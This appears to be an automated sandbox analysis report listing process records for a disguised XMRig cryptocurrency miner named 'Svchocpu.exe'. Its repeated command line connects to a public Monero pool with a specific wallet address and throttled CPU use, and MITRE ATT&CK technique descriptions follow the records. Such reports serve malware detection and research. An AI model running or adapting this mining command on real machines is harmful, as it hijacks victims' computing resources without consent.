Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000048.00000002.2206230527.000001501ECA0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	12:18:17
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000005D.00000002.2222307156.000001807DA20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c ipconfig /flushdns
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	12:18:18
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	109
Start time:	12:18:19
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	114
Start time:	12:18:19
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	124
Start time:	12:18:19
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	129
Start time:	12:18:19
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	231
Start time:	12:18:24
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	307
Start time:	12:18:29
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	314
Start time:	12:18:29
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	318
Start time:	12:18:29
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	324
Start time:	12:18:29
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	331
Start time:	12:18:29
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	416
Start time:	12:18:32
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	463
Start time:	12:18:35
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	573
Start time:	12:18:40
Start date:	17/10/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

